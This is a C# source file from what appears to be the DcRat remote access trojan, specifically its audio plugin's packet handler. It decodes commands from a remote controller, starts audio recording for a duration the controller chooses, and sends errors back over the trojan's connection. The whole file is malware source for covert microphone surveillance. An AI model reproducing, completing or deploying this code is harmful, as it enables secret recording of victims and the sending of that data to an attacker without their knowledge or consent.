DcRat/Plugin/Audio/Audio/Packet.cs

46 lines
1.2 KiB
C#

using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Permissions;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
namespace Plugin
{
public static class Packet
{
public static void Read(object data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
{
case "audio":
{
AudioRecorder.Audio(Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString));
break;
}
}
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
}
}